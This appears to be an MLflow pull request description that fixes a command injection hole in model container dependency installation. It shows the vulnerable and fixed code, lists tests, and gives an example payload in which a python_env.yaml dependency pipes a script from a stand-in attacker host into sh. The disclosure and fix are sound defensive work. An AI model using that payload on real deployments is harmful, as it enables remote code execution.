Related Issues/PRs

#19582

What changes are proposed in this pull request?

Fix command injection vulnerability in _install_model_dependencies_to_env() where dependency specifications from python_env.yaml were directly interpolated into a shell command without sanitization.

Vulnerability Details:

• File: mlflow/models/container/__init__.py, line 146
• CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
• Severity: High (CVSS 3.1: 8.8)

An attacker who can supply a malicious model artifact could achieve arbitrary command execution by including shell metacharacters in the dependency list of python_env.yaml. For example:

dependencies:
  - "numpy; curl https://attacker.com/malware.sh | sh; #"

When deployed with env_manager=LOCAL, this would execute the injected shell commands with the privileges of the serving container.

Fix:

• Replace shell execution with subprocess list arguments
• Use shlex.split() to properly parse dependency strings like -r requirements.txt
• Use sys.executable instead of hardcoded python
• Only replace requirements.txt when it's an exact match or path suffix (not when it's part of a package name)

Before (vulnerable):

deps = " ".join(python_env.build_dependencies + python_env.dependencies)
deps = deps.replace("requirements.txt", os.path.join(model_path, "requirements.txt"))
Popen(["bash", "-c", f"python -m pip install {deps}"])

After (safe):

pip_args = [sys.executable, "-m", "pip", "install"]
for dep in python_env.build_dependencies + python_env.dependencies:
    dep_args = shlex.split(dep)
    for i, arg in enumerate(dep_args):
        if arg == "requirements.txt" or arg.endswith("/requirements.txt"):
            dep_args[i] = os.path.join(model_path, "requirements.txt")
    pip_args.extend(dep_args)
Popen(pip_args)

How is this PR tested?

• Existing unit/integration tests
• New unit/integration tests
• Manual tests

Added comprehensive test suite (tests/models/test_container.py) with 11 test cases:

• test_command_injection_via_semicolon_blocked - Tests ; injection
• test_command_injection_via_pipe_blocked - Tests | injection
• test_command_injection_via_backticks_blocked - Tests backtick injection
• test_command_injection_via_dollar_parens_blocked - Tests $() injection
• test_command_injection_via_ampersand_blocked - Tests && injection
• test_legitimate_package_install - Verifies normal packages still work
• test_requirements_file_reference - Verifies -r requirements.txt works
• test_requirements_path_replacement - Verifies path replacement
• test_no_shell_execution - Verifies subprocess uses list args, not shell
• test_build_dependencies_processed - Verifies build deps are included
• test_package_name_with_requirements_substring_not_modified - Verifies package names like my-requirements.txt-parser are not incorrectly modified

All tests pass.

Does this PR require documentation update?

• No. You can skip the rest of this section.
• Yes. I've updated:
  • Examples
  • API references
  • Instructions

Release Notes

Is this a user-facing change?

• No. You can skip the rest of this section.
• Yes. Give a description of this change to be included in the release notes for MLflow users.

Security fix: Fixed command injection vulnerability in model container initialization. Malicious model artifacts could previously execute arbitrary shell commands during deployment when using env_manager=LOCAL. Users who deploy untrusted models should upgrade immediately.

What component(s), interfaces, languages, and integrations does this PR affect?

Components

• area/tracking: Tracking Service, tracking client APIs, autologging
• area/models: MLmodel format, model serialization/deserialization, flavors
• area/model-registry: Model Registry service, APIs, and the fluent client calls for Model Registry
• area/scoring: MLflow Model server, model deployment tools, Spark UDFs
• area/evaluation: MLflow model evaluation features, evaluation metrics, and evaluation workflows
• area/gateway: MLflow AI Gateway client APIs, server, and third-party integrations
• area/prompts: MLflow prompt engineering features, prompt templates, and prompt management
• area/tracing: MLflow Tracing features, tracing APIs, and LLM tracing functionality
• area/projects: MLproject format, project running backends
• area/uiux: Front-end, user experience, plotting, JavaScript, JavaScript dev server
• area/build: Build and test infrastructure for MLflow
• area/docs: MLflow documentation pages

How should the PR be classified in the release notes? Choose one:

• rn/none - No description will be included. The PR will be mentioned only by the PR number in the "Small Bugfixes and Documentation Updates" section
• rn/breaking-change - The PR will be mentioned in the "Breaking Changes" section
• rn/feature - A new user-facing feature worth mentioning in the release notes
• rn/bug-fix - A user-facing bug fix worth mentioning in the release notes
• rn/documentation - A user-facing documentation change worth mentioning in the release notes

Should this PR be included in the next patch release?

• Yes (this PR will be cherry-picked and included in the next patch release)
• No (this PR will be included in the next minor release)

This is a security fix and should be included in the next patch release to protect users deploying untrusted models.